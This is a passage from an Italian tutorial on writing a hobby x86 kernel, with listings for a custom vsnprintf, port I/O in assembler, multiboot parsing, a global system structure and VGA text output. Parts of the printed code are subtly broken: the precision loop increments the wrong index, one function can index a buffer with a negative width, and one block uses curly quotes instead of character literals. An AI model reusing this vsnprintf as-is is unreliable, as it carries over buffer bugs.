        memset (buffer, filler, size_f);
        imaxtoa (integer, buffer + size_f, base, uppercase, 0);
      }
    *(buffer + abs (width)) = '\0';

    return abs (width);
}
//
// Converte un intero con segno di rango massimo in una stringa,
// mettendo il segno anche se è positivo, provvedendo a sistemare
// l'allineamento.
//
static size_t
simaxtoa_fill (intmax_t integer, char *buffer, int base,
               int uppercase, int width, int filler, int max)
{
    if (max < 0) return 0; // «max» deve essere un valore positivo.

    size_t size_i = simaxtoa (integer, NULL, base, uppercase, 0);
    size_t size_f;
```

```
    if (width > 0 &&  max > 0 && width >  max) width =  max;
    if (width < 0 && -max < 0 && width < -max) width = -max;

    if (size_i > abs (width))
      {
        return simaxtoa (integer, buffer, base, uppercase, abs (width));
      }

    if (width == 0 && max > 0)
      {
        return simaxtoa (integer, buffer, base, uppercase, max);
      }

    if (width == 0)
      {
        return simaxtoa (integer, buffer, base, uppercase, abs (width));
      }
    //
    // size_i <= abs (width).
    //
    size_f = abs (width) - size_i;

    if (width < 0)
      {
        // Allineamento a sinistra.
        simaxtoa (integer, buffer, base, uppercase, 0);
        memset (buffer + size_i, filler, size_f);
      }
    else
      {
        // Allineamento a destra.
        memset (buffer, filler, size_f);
        simaxtoa (integer, buffer + size_f, base, uppercase, 0);
      }
    *(buffer + abs (width)) = '\0';

    return abs (width);
}
//
// Trasferisce una stringa provvedendo all'allineamento.
//
static size_t
strtostr_fill (char *string, char *buffer, int width, int filler, int max)
{
    if (max < 0) return 0; // «max» deve essere un valore positivo.

    size_t size_s = strlen (string);
    size_t size_f;

    if (width > 0 &&  max > 0 && width >  max) width =  max;
    if (width < 0 && -max < 0 && width < -max) width = -max;
```

```
    if (width != 0 && size_s > abs (width))
      {
        memcpy (buffer, string, abs (width));
        buffer[width] = '\0';
        return width;
      }

    if (width == 0 && max > 0 && size_s > max)
      {
        memcpy (buffer, string, max);
        buffer[max] = '\0';
        return max;
      }

    if (width == 0 && max > 0 && size_s < max)
      {
        memcpy (buffer, string, size_s);
        buffer[size_s] = '\0';
        return size_s;
      }
    //
    // width =! 0
    // size_s <= abs (width)
    //
    size_f = abs (width) - size_s;

    if (width < 0)
      {
        // Allineamento a destra.
        memset (buffer, filler, size_f);
        strncpy (buffer+size_f, string, size_s);
      }
    else
      {
        // Allineamento a sinistra.
        strncpy (buffer, string, size_s);
        memset (buffer+size_s, filler, size_f);
      }
    *(buffer + abs (width)) = '\0';

    return abs (width);
}
//
// La funzione «vsnprintf()»
//
int
vsnprintf (char *restrict string, size_t n,
           const char *restrict format, va_list ap)
{

    if (n > INT_MAX) n = INT_MAX;       // «n» non può essere superiore
                                        // a INT_MAX.
    //
```

```
    // Al massimo si producono "n-1" caratteri, + '\0'.
    // "n" viene usato anche come dimensione massima per le
    // stringhe interne, se non è troppo grande.
    //
    int         f                   = 0;
    int         s                   = 0;
    int         remain              = n - 1;

    bool        specifier           = 0;
    bool        specifier_flags     = 0;
    bool        specifier_width     = 0;
    bool        specifier_precision = 0;
    bool        specifier_type      = 0;

    bool        flag_plus           = 0;
    bool        flag_minus          = 0;
    bool        flag_space          = 0;
    bool        flag_alternate      = 0;
    bool        flag_zero           = 0;

    int         alignment;
    int         filler;

    intmax_t    value_i;
    uintmax_t   value_ui;
    char       *value_cp;

    size_t      width;
    size_t      precision;
    size_t      str_size = n > 1024 ? 1024 : n;
    char        width_string[str_size];
    char        precision_string[str_size];
    int         w;
    int         p;

    width_string[0]     = '\0';
    precision_string[0] = '\0';

    while (format[f] != 0 && s < (n - 1))
      {
        if (!specifier)
          {
            if (format[f] != '%')
              {
                string[s] = format[f];
                s++;
                remain--;
                f++;
                continue;
              }
            if (format[f] == '%' && format[f+1] == '%')
              {
                string[s] = '%';
```

```
              f++;
              f++;
              s++;
              remain--;
              continue;
            }
          if (format[f] == '%')
            {
              f++;
              specifier = 1;
              specifier_flags = 1;
              continue;
            }
        }

      if (specifier && specifier_flags)
        {
          if (format[f] == '+')
            {
              flag_plus = 1;
              f++;
              continue;
            }
          else if (format[f] == '-')
            {
              flag_minus = 1;
              f++;
              continue;
            }
          else if (format[f] == ' ')
            {
              flag_space = 1;
              f++;
              continue;
            }
          else if (format[f] == '#')
            {
              flag_alternate = 1;
              f++;
              continue;
            }
          else if (format[f] == '0')
            {
              flag_zero = 1;
              f++;
              continue;
            }
          else
            {
              specifier_flags = 0;
              specifier_width = 1;
            }
        }
```

```
        if (specifier && specifier_width)
          {
            for (w = 0; format[f] >= '0' && format[f] <= '9'
                 && w < str_size; w++)
              {
                width_string[w] = format[f];
                f++;
              }
            width_string[w] = '\0';

            specifier_width = 0;

            if (format[f] == '.')
              {
                specifier_precision = 1;
                f++;
              }
            else
              {
                specifier_precision = 0;
                specifier_type      = 1;
              }
          }

        if (specifier && specifier_precision)
          {
            for (p = 0; format[f] >= '0' && format[f] <= '9'
                 && p < str_size; p++)
              {
                precision_string[p] = format[f];
                p++;
              }
            precision_string[p] = '\0';

            specifier_precision = 0;
            specifier_type      = 1;
          }

        if (specifier && specifier_type)
          {
            width     = atoi (width_string);
            precision = atoi (precision_string);
                        filler = ' ';
            if (flag_zero)  filler = '0';
            if (flag_space) filler = ' ';
                        alignment = width;
            if (flag_minus)
              {
                alignment = -alignment;
                filler = ' ';   // Il carattere di riempimento
                                // non può essere zero.
              }
```

```
          if (format[f] == 'h' && format[f+1] == 'h')
            {
              if (format[f+2] == 'd' || format[f+2] == 'i')
                {
                  // signed char, base 10.
                  value_i = va_arg (ap, int);
                  if (flag_plus)
                    {
                      s += simaxtoa_fill (value_i, &string[s], 10, 0,
                                          alignment, filler, remain);
                    }
                  else
                    {
                      s += imaxtoa_fill (value_i, &string[s], 10, 0,
                                         alignment, filler, remain);
                    }
                  f += 3;
                }
              else if (format[f+2] == 'u')
                {
                  // unsigned char, base 10.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
                                      alignment, filler, remain);
                  f += 3;
                }
              else if (format[f+2] == 'o')
                {
                  // unsigned char, base 8.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
                                      alignment, filler, remain);
                  f += 3;
                }
              else if (format[f+2] == 'x')
                {
                  // unsigned char, base 16.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
                                      alignment, filler, remain);
                  f += 3;
                }
              else if (format[f+2] == 'X')
                {
                  // unsigned char, base 16.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
                                      alignment, filler, remain);
                  f += 3;
                }
              else if (format[f+2] == 'b')
                {
```

```
                // unsigned char, base 2 (estensione).
                value_ui = va_arg (ap, unsigned int);
                s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
                                    alignment, filler, remain);
                f += 3;
              }
            else // Specificatore errato;
              {
                f += 2;
              }
          }
        else if (format[f] == 'h')
          {
            if (format[f+1] == 'd' || format[f+1] == 'i')
              {
                // short int, base 10.
                value_i = va_arg (ap, int);
                if (flag_plus)
                  {
                    s += simaxtoa_fill (value_i, &string[s], 10, 0,
                                        alignment, filler, remain);
                  }
                else
                  {
                    s += imaxtoa_fill (value_i, &string[s], 10, 0,
                                       alignment, filler, remain);
                  }
                f += 2;
              }
            else if (format[f+1] == 'u')
              {
                // unsigned short int, base 10.
                value_ui = va_arg (ap, unsigned int);
                s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
                                    alignment, filler, remain);
                f += 2;
              }
            else if (format[f+1] == 'o')
              {
                // unsigned short int, base 8.
                value_ui = va_arg (ap, unsigned int);
                s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
                                    alignment, filler, remain);
                f += 2;
              }
            else if (format[f+1] == 'x')
              {
                // unsigned short int, base 16.
                value_ui = va_arg (ap, unsigned int);
                s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
                                    alignment, filler, remain);
                f += 2;
              }
```

```
          else if (format[f+1] == 'X')
            {
              // unsigned short int, base 16.
              value_ui = va_arg (ap, unsigned int);
              s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
                                  alignment, filler, remain);
              f += 2;
            }
          else if (format[f+1] == 'b')
            {
              // unsigned short int, base 2 (estensione).
              value_ui = va_arg (ap, unsigned int);
              s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
                                  alignment, filler, remain);
              f += 2;
            }
          else // Specificatore errato;
            {
              f += 1;
            }
        }
      //
      // Il tipo «long long int» non c'è, perché il compilatore
      // GNU C, per poter eseguire le divisioni e il calcolo del
      // resto, ha bisogno delle funzioni di libreria
      // «__udivdi3()» e «__umoddi3()».
      //
      else if (format[f] == 'l')
        {
          if (format[f+1] == 'd' || format[f+1] == 'i')
            {
              // long int base 10.
              value_i = va_arg (ap, long int);
              if (flag_plus)
                {
                  s += simaxtoa_fill (value_i, &string[s], 10, 0,
                                      alignment, filler, remain);
                }
              else
                {
                  s += imaxtoa_fill (value_i, &string[s], 10, 0,
                                     alignment, filler, remain);
                }
              f += 2;
            }
          else if (format[f+1] == 'u')
            {
              // Unsigned long int base 10.
              value_ui = va_arg (ap, unsigned long int);
              s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
                                  alignment, filler, remain);
              f += 2;
            }
```

```
            else if (format[f+1] == 'o')
              {
                // Unsigned long int base 8.
                value_ui = va_arg (ap, unsigned long int);
                s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
                                    alignment, filler, remain);
                f += 2;
              }
            else if (format[f+1] == 'x')
              {
                // Unsigned long int base 16.
                value_ui = va_arg (ap, unsigned long int);
                s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
                                    alignment, filler, remain);
                f += 2;
              }
            else if (format[f+1] == 'X')
              {
                // Unsigned long int base 16.
                value_ui = va_arg (ap, unsigned long int);
                s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
                                    alignment, filler, remain);
                f += 2;
              }
            else if (format[f+1] == 'b')
              {
                // Unsigned long int base 2 (estensione).
                value_ui = va_arg (ap, unsigned long int);
                s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
                                    alignment, filler, remain);
                f += 2;
              }
            else // Specificatore errato;
              {
                f += 1;
              }
          }
        else if (format[f] == 'j')
          {
            if (format[f+1] == 'd' || format[f+1] == 'i')
              {
                // intmax_t base 10.
                value_i = va_arg (ap, intmax_t);
                if (flag_plus)
                  {
                    s += simaxtoa_fill (value_i, &string[s], 10, 0,
                                        alignment, filler, remain);
                  }
                else
                  {
                    s += imaxtoa_fill (value_i, &string[s], 10, 0,
                                       alignment, filler, remain);
                  }
```

```
                    f += 2;
                  }
                else if (format[f+1] == ’u’)
                  {
                    // uintmax_t base 10.
                    value_ui = va_arg (ap, uintmax_t);
                    s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
                                        alignment, filler, remain);
                    f += 2;
                  }
                else if (format[f+1] == ’o’)
                  {
                    // uintmax_t base 8.
                    value_ui = va_arg (ap, uintmax_t);
                    s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
                                        alignment, filler, remain);
                    f += 2;
                  }
                else if (format[f+1] == ’x’)
                  {
                    // uintmax_t base 16.
                    value_ui = va_arg (ap, uintmax_t);
                    s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
                                        alignment, filler, remain);
                    f += 2;
                  }
                else if (format[f+1] == ’X’)
                  {
                    // uintmax_t base 16.
                    value_ui = va_arg (ap, uintmax_t);
                    s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
                                        alignment, filler, remain);
                    f += 2;
                  }
                else if (format[f+1] == ’b’)
                  {
                    // uintmax_t base 2 (estensione).
                    value_ui = va_arg (ap, uintmax_t);
                    s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
                                        alignment, filler, remain);
                    f += 2;
                  }
                else // Specificatore errato;
                  {
                    f += 1;
                  }
              }
            else if (format[f] == ’z’)
              {
                if (format[f+1] == ’d’
                    || format[f+1] == ’i’
                    || format[f+1] == ’i’)
                  {
```

```
            // size_t base 10.
            value_ui = va_arg (ap, unsigned long int);
            s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
                                alignment, filler, remain);
            f += 2;
          }
        else if (format[f+1] == 'o')
          {
            // size_t base 8.
            value_ui = va_arg (ap, unsigned long int);
            s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
                                alignment, filler, remain);
            f += 2;
          }
        else if (format[f+1] == 'x')
          {
            // size_t base 16.
            value_ui = va_arg (ap, unsigned long int);
            s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
                                alignment, filler, remain);
            f += 2;
          }
        else if (format[f+1] == 'X')
          {
            // size_t base 16.
            value_ui = va_arg (ap, unsigned long int);
            s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
                                alignment, filler, remain);
            f += 2;
          }
        else if (format[f+1] == 'b')
          {
            // size_t base 2 (estensione).
            value_ui = va_arg (ap, unsigned long int);
            s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
                                alignment, filler, remain);
            f += 2;
          }
        else // Specificatore errato;
          {
            f += 1;
          }
      }
    else if (format[f] == 't')
      {
        if (format[f+1] == 'd' || format[f+1] == 'i')
          {
            // ptrdiff_t base 10.
            value_i = va_arg (ap, long int);
            if (flag_plus)
              {
                s += simaxtoa_fill (value_i, &string[s], 10, 0,
                                    alignment, filler, remain);
```

```
          }
        else
          {
            s += imaxtoa_fill (value_i, &string[s], 10, 0,
                               alignment, filler, remain);
          }
        f += 2;
      }
    else if (format[f+1] == 'u')
      {
        // ptrdiff_t base 10, senza segno.
        value_ui = va_arg (ap, unsigned long int);
        s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
                            alignment, filler, remain);
        f += 2;
      }
    else if (format[f+1] == 'o')
      {
        // ptrdiff_t base 8, senza segno.
        value_ui = va_arg (ap, unsigned long int);
        s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
                            alignment, filler, remain);
        f += 2;
      }
    else if (format[f+1] == 'x')
      {
        // ptrdiff_t base 16, senza segno.
        value_ui = va_arg (ap, unsigned long int);
        s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
                            alignment, filler, remain);
        f += 2;
      }
    else if (format[f+1] == 'X')
      {
        // ptrdiff_t base 16, senza segno.
        value_ui = va_arg (ap, unsigned long int);
        s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
                            alignment, filler, remain);
        f += 2;
      }
    else if (format[f+1] == 'b')
      {
        // ptrdiff_t base 2, senza segno.
        value_ui = va_arg (ap, unsigned long int);
        s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
                            alignment, filler, remain);
        f += 2;
      }
    else // Specificatore errato;
      {
        f += 1;
      }
  }
```

```
              if (format[f] == 'd' || format[f] == 'i')
                {
                  // int base 10.
                  value_i = va_arg (ap, int);
                  if (flag_plus)
                    {
                      s += simaxtoa_fill (value_i, &string[s], 10, 0,
                                          alignment, filler, remain);
                    }
                  else
                    {
                      s += imaxtoa_fill (value_i, &string[s], 10, 0,
                                         alignment, filler, remain);
                    }
                  f += 1;
                }
              else if (format[f] == 'u')
                {
                  // unsigned int base 10.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
                                      alignment, filler, remain);
                  f += 1;
                }
              else if (format[f] == 'o')
                {
                  // Unsigned int base 8.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
                                      alignment, filler, remain);
                  f += 1;
                }
              else if (format[f] == 'x')
                {
                  // unsigned int base 16.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
                                      alignment, filler, remain);
                  f += 1;
                }
              else if (format[f] == 'X')
                {
                  // unsigned int base 16.
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
                                      alignment, filler, remain);
                  f += 1;
                }
              else if (format[f] == 'b')
                {
                  // unsigned int base 2 (estensione).
                  value_ui = va_arg (ap, unsigned int);
                  s += uimaxtoa_fill (value_ui, &string[s], 2, 0,
```

```
                                    alignment, filler, remain);
                f += 1;
              }
            //else if (format[f] == 'c')
            //  {
            //    // unsigned char.
            //    value_ui = va_arg (ap, unsigned int);
            //    s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
            //                        alignment, filler, remain);
            //    f += 1;
            //  }
            else if (format[f] == 'c')
              {
                // unsigned char.
                value_ui = va_arg (ap, unsigned int);
                string[s] = (char) value_ui;
                s += 1;
                f += 1;
              }
            else if (format[f] == 's')
              {
                // string.
                value_cp = va_arg (ap, char *);
                filler = ' ';

                s += strtostr_fill (value_cp, &string[s], alignment,
                                    filler, remain);
                f += 1;
              }
            else // Specificatore errato;
              {
                ;
              }
            //
            // Fine dello specificatore.
            //
            width_string[0]     = '\0';
            precision_string[0] = '\0';

            specifier           = 0;
            specifier_flags     = 0;
            specifier_width     = 0;
            specifier_precision = 0;
            specifier_type      = 0;

            flag_plus           = 0;
            flag_minus          = 0;
            flag_space          = 0;
            flag_alternate      = 0;
            flag_zero           = 0;
          }
      }
    string[s] = '\0';
```

```
    return s;
}
```

Listato u10.32. './05/lib/snprintf.c'

```
#include <stdio.h>
int
snprintf (char *restrict string, size_t n, const char *restrict format, ...)
{
    va_list ap;
    va_start (ap, format);
    return vsnprintf (string, n, format, ap);
}
```

Librerie specifiche generali

Dopo le librerie standard vanno predisposte anche altre librerie specifiche per il proprio sistema. Quelle descritte nelle sezioni successive sono quelle di uso generale.

File «build.h»

Il file '05/include/kernel/build.h' viene prodotto dallo script '05/makeit', allo scopo di generare la macro-variabile ***BUILD_DATE*** contenente il momento esatto della compilazione. Durante gli esperimenti per la realizzazione del sistema è importante rendersi conto se ciò che si sta osservando corrisponde effettivamente al risultato dell'ultima compilazione oppure no. Il contenuto del file ha un aspetto simile a quello seguente:

```
#define BUILD_DATE "20070817191030"
```

Libreria «io.h»

La libreria rappresentata dal file di intestazione 'io.h' contiene la dichiarazione di funzioni necessarie alla comunicazione con le componenti hardware. In questo caso si utilizzano solo funzioni per riprodurre le istruzioni '**INB**' e '**OUTB**' del linguaggio assemblatore, ma potrebbe essere estesa anche con altre funzioni per istruzioni analoghe, per la comunicazione con dati di dimensione maggiore del byte.

Listato u10.34. './05/include/kernel/io.h'

```
#ifndef _IO_H
#define _IO_H   1

void         outb (unsigned int port, unsigned int data);
unsigned int inb  (unsigned int port);

#endif
```

Naturalmente è necessario realizzare entrambe le funzioni. È il caso di ricordare che il valore

restituito dalle funzioni scritte in linguaggio assemblatore è quello contenuto nel registro ***EAX***.

Listato u10.35. '`./05/lib/io/inb.s`'

```
.globl  inb
#
inb:
    enter $4, $0
    pusha
    .equ inb_port,  8           # Primo parametro.
    .equ inb_data, -4           # Variabile locale.
    mov  inb_port(%ebp), %edx   # Successivamente si usa solo DX.
    inb %dx, %al
    mov  %eax, inb_data(%ebp)   # Salva EAX nella variabile locale.
    popa
    mov  inb_data(%ebp), %eax   # Recupera EAX e termina.
    leave
    ret
```

Listato u10.36. '`./05/lib/io/outb.s`'

```
.globl  outb
#
outb:
    enter $0, $0
    pusha
    .equ outb_port,  8          # Primo parametro.
    .equ outb_data, 12          # Secondo parametro.
    mov  outb_port(%ebp), %edx  # Successivamente si usa solo DX.
    mov  outb_data(%ebp), %eax  # Successivamente si usa solo AL.
    outb %al, %dx
    popa
    leave
    ret
```

Libreria «multiboot.h»

La libreria rappresentata dal file di intestazione '`multiboot.h`' contiene semplicemente una struttura per facilitare la lettura delle informazioni più importanti che offre un sistema di avvio aderente alle specifiche *multiboot*; inoltre dichiara due funzioni: una per la raccolta delle informazioni e l'altra per la loro visualizzazione.

Listato u10.37. '`./05/include/kernel/multiboot.h`'

```
#ifndef _MULTIBOOT_H
#define _MULTIBOOT_H    1

#include <inttypes.h>

typedef struct {
    uint32_t  flags;
    uint32_t  mem_lower;
    uint32_t  mem_upper;
    uint32_t  boot_device;
        char *cmdline;
} multiboot_t;

void mboot_info (multiboot_t *info);
void mboot_show (void);

#endif
```

La funzione ***mboot_info()*** deve raccogliere e salvare le informazioni *multiboot*, all'interno della variabile strutturata ***os.multiboot*** (la variabile ***os*** complessiva è descritta nel file '`os.h`').

Listato u10.38. '`./05/lib/multiboot/mboot_info.c`'

```
#include <kernel/multiboot.h>
#include <string.h>
#include <stdio.h>
void
mboot_info (multiboot_t *info)
{
    os.multiboot.flags = info->flags;
    //
    if ((info->flags & 1) > 0)
      {
        os.multiboot.mem_lower = info->mem_lower;
        os.multiboot.mem_upper = info->mem_upper;
      }
    if ((info->flags & 2) > 0)
      {
        os.multiboot.boot_device = info->boot_device;
      }
    if ((info->flags & 4) > 0)
      {
        strncpy (os.multiboot.cmdline, info->cmdline, 1024);
      }
}
```

La funzione ***mboot_show()*** deve visualizzare direttamente le informazioni *multiboot*, salvate in precedenza, pertanto si avvale della funzione ***printf()*** che deve essere ancora descritta.

Listato u10.39. '`./05/lib/multiboot/mboot_show.c`'

```
#include <kernel/multiboot.h>
#include <stdio.h>
void
mboot_show (void)
{
    printf ("[%s] flags: %032b ", __func__, os.multiboot.flags);
    //
    if ((os.multiboot.flags & 1) > 0)
      {
        printf ("mlow: %04X mhigh: %08X",
                os.multiboot.mem_lower,
                os.multiboot.mem_upper);
      }
    printf ("\n");
    printf ("[%s] ", __func__);
    if ((os.multiboot.flags & 2) > 0)
      {
        printf ("bootdev: %08X ", os.multiboot.boot_device);
      }
    if ((os.multiboot.flags & 4) > 0)
      {
        printf ("cmdline: \"%s\"", os.multiboot.cmdline);
      }
    printf ("\n");
}
```

File «os.h»

Il file di intestazione '`os.h`' serve esclusivamente per definire una struttura, con la quale si crea la variabile strutturata ***os***, accessibile a ogni parte del sistema. In questa superstruttura vengono annotate tutte le informazioni che devono essere condivise. Il senso delle varie componenti della variabile ***os*** si chiarisce successivamente; a ogni modo è importante osservare che nel sistema non vengono usate altre variabili pubbliche.

Listato u10.40. '`./05/include/kernel/os.h`'

```
#ifndef _OS_H
#define _OS_H   1

#include <stdint.h>
#include <kernel/multiboot.h>
#include <stdbool.h>
#include <time.h>

typedef struct {
    //
```

```
    // Multiboot.
    //
    struct {
        uint32_t  flags;
        uint32_t  mem_lower;
        uint32_t  mem_upper;
        uint32_t  boot_device;
        char      cmdline[1024];
    } multiboot;
    //
    // Stato dello schermo VGA.
    //
    struct {
        unsigned short *video;
        unsigned short  columns;
        unsigned short  rows;
        unsigned int    position;
        unsigned char   attribute;
    } vga;
    //
    // «os.mem_ph»    Mappa della memoria fisica.
    //
    struct {
        uintptr_t  total_s;     // «..._s» = start
        uintptr_t  total_e;     // «..._e» = end.
           size_t  total_l;     // «..._l» = limit.
        uintptr_t  k_text_s;    // «k_...» = kernel.
        uintptr_t  k_text_e;    //
        uintptr_t  k_rodata_s;  //
        uintptr_t  k_rodata_e;  //
        uintptr_t  k_data_s;    //
        uintptr_t  k_data_e;    //
        uintptr_t  k_bss_s;     //
        uintptr_t  k_bss_e;     //
        uintptr_t  available_s; //
        uintptr_t  available_e; //
    } mem_ph;
    //
    // «os.gtd»               Tabella GTD.
    //
    union {
        struct {
            uint32_t  limit_a              : 16,
                      base_a               : 16;
            uint32_t  base_b               : 8,
                      accessed             : 1,
                      write_execute        : 1,
```

```
                    expansion_conforming : 1,
                    code_or_data         : 1,
                    code_data_or_system  : 1,
                    dpl                  : 2,
                    present              : 1,
                    limit_b              : 4,
                    available            : 1,
                    reserved             : 1,
                    big                  : 1,
                    granularity          : 1,
                    base_c               : 8;
        } cd;
        struct {
            uint32_t  limit_a              : 16,
                      base_a               : 16;
            uint32_t  base_b               : 8,
                      type                 : 4,
                      code_data_or_system  : 1,
                      dpl                  : 2,
                      present              : 1,
                      limit_b              : 4,
                      reserved             : 3,
                      granularity          : 1,
                      base_c               : 8;
        } system;
    } gdt[3];
    //
    // «os.gtdr»      Registro GTDR.
    //
    // È necessario che la struttura sia compattata, in modo da
    // usare complessivamente 48 bit; pertanto si usa l'attributo
    // «packed» del compilatore GNU C.
    //
    struct {
        uint16_t  limit;
        uint32_t  base;
    } __attribute__ ((packed)) gdtr;
    //
    // «os.idt»               Tabella IDT.
    //
    struct {
        uint32_t  offset_a : 16,
                  selector : 16;
        uint32_t  filler   : 8,
                  type     : 4,
                  system   : 1,
                  dpl      : 2,
```

```
                 present  : 1,
                 offset_b : 16;
    } idt[129];
    //
    // «os.idtr»      Registro IDTR.
    //
    // È necessario che la struttura sia compattata, in modo da
    // usare complessivamente 48 bit; pertanto si usa l'attributo
    // «packed» del compilatore GNU C.
    //
    struct {
        uint16_t  limit;
        uint32_t  base;
    } __attribute__ ((packed)) idtr;
    //
    // PIT: programmable interval timer.
    //
    struct {
        clock_t freq;
        clock_t clocks;
    } timer;
    //
    // Stato della tastiera.
    //
    struct {
        bool shift;
        bool shift_lock;
        bool ctrl;
        bool alt;
        bool echo;
        char key;
        char map1[128];
        char map2[128];
    } kbd;
    //
} os_t;
//
// Struttura pubblica con tutte le informazioni sul sistema.
//
os_t os;

#endif
```

Libreria «vga.h»

La libreria che fa capo al file di intestazione '`vga.h`' è responsabile della visualizzazione del testo attraverso lo schermo.

Listato u10.41. '`./05/include/kernel/vga.h`'

```
#ifndef _VGA_H
#define _VGA_H 1

#include <restrict.h>
#include <kernel/io.h>
#include <kernel/os.h>
#include <stddef.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>

#define vga_char(c, attrib) ((int16_t) c \
                             | ((((int16_t) attrib) << 8) & 0xFF00))

void vga_init     (void);
void vga_set      (unsigned short *video, int columns, int rows,
                   int x, int y, int position, int attribute);
int  vga_clear    (void);
void vga_new_line (void);
void vga_putc     (int c);
void vga_puts     (char *string, size_t n);
int  vga_vprintf  (const char *restrict format, va_list arg);
int  vga_printf   (const char *restrict format, ...);

#define clear()              (vga_clear ())
#define echo()               (os.kbd.echo = 1)
#define noecho()             (os.kbd.echo = 0)

#endif
```

Alcune macro-istruzioni definite nel file '`vga.h`' si limitano a scrivere un valore all'interno di ***os.kbd.echo***, la quale, se attiva, rappresenta la richiesta di visualizzare sullo schermo il testo che viene digitato. La macro-istruzione ***vga_char()*** assembla due valori in modo da ottenere un valore a 16 bit adatto alla visualizzazione sullo schermo di un carattere (l'unione dell'attributo di visualizzazione e del carattere stesso).

La funzione '`vga_init()`' va usata prima di fare qualunque cosa con lo schermo VGA, per attribuire dei valori iniziali corretti alla struttura ***os.vga***, la quale serve a tenere memoria della posizione corrente del cursore di scrittura e dell'attributo corrente da usare per i colori dei caratteri da scrivere.

Listato u10.42. '`./05/lib/vga/vga_init.c`'

```
#include <kernel/vga.h>
void
vga_init (void)
{
    os.vga.video     = (unsigned short *) 0xB8000;
    os.vga.columns   = 80;
    os.vga.rows      = 25;
    os.vga.position  = 0;
    os.vga.attribute = 0x07;
}
```

La funzione '`vga_set()`' che appare nel listato successivo ha lo scopo di spostare e di tenere traccia della posizione corrente del cursore di scrittura, in base alle informazioni che gli vengono fornite, determinando il resto in modo predefinito. Va osservato che, quando si tratta di valori interi, per dire alla funzione ***vga_set()*** di utilizzare i dati predefiniti si trasmette un valore negativo.

Listato u10.43. '`./05/lib/vga/vga_set.c`'

```
#include <kernel/vga.h>
void
vga_set (unsigned short *video,
         int columns, int rows,
         int x, int y,
         int position,
         int attribute)
{
    unsigned short int current_y = os.vga.position / os.vga.columns;
    unsigned short int current_x = os.vga.position - current_y * os.vga.columns;
    unsigned int screen_size = os.vga.columns * os.vga.rows;
    char position_high;
    char position_low;
    //
    if (video != NULL)  os.vga.video   = video;
    if (columns >= 0)   os.vga.columns = columns;
    if (rows >= 0)      os.vga.rows    = rows;
    if (columns >= 0 || rows >= 0)
                        screen_size    = os.vga.columns * os.vga.rows;
    if (x >= 0)         current_x      = x;
    if (y >= 0)         current_y      = y;
    if (x >= 0 || y >= 0)
      {
        os.vga.position   = current_y * os.vga.columns + current_x;
        os.vga.position   = os.vga.position % screen_size;
      }
    if (position >= 0)
      {
        //
        // Ricalcola la posizione anche se è già stata determinata
        // con i parametri "x" and "y".
        //
```

```
        os.vga.position   = position % screen_size;
      }
    if (x >= 0 || y >= 0 || position >= 0)
      {
        //
        // Deve riposizionare il cursore.
        //
        position_high = (unsigned char) (os.vga.position >> 8);
        position_low  = (unsigned char) os.vga.position;
        //
        outb (0x3D4, 0x0E);
        outb (0x3D5, position_high);
        outb (0x3D4, 0x0F);
        outb (0x3D5, position_low);
      }
    if (attribute >= 0) os.vga.attribute = attribute;
}
```

Listato u10.44. '`./05/lib/vga/vga_clear.c`'

```
#include <kernel/vga.h>
int
vga_clear (void)
{
    unsigned short blank = vga_char (' ', os.vga.attribute);
    unsigned int   i;
    unsigned int   screen_size = os.vga.columns * os.vga.rows;

    for (i = 0; i < screen_size ; i++)
      {
        *(os.vga.video + i) = blank;
      }
    return 0;   // Per essere compatibile, in qualche modo, con «clear()».
}
```

Listato u10.45. '`./05/lib/vga/vga_new_line.c`'

```
#include <kernel/vga.h>
void
vga_new_line (void)
{
    unsigned short int current_y = os.vga.position / os.vga.columns;
    unsigned short int current_x = os.vga.position - current_y * os.vga.columns;
    unsigned short blank       = vga_char (' ', os.vga.attribute);
    unsigned int   screen_size = os.vga.columns * os.vga.rows;
    int i;
    int j;

    current_x = 0;
    current_y++;

    if (current_y >= os.vga.rows)
      {
```

```
        //
        // Copia il testo in su di una riga.
        //
        for (i = 0, j = os.vga.columns; j < screen_size; i++, j++)
          {
            *(os.vga.video + i) = *(os.vga.video + j);
          }
        //
        // Ripulisce l'ultima riga di testo.
        //
        for (i = screen_size - os.vga.columns; i < screen_size; i++)
          {
            *(os.vga.video + i) = blank;
          }
        current_y--;
      }
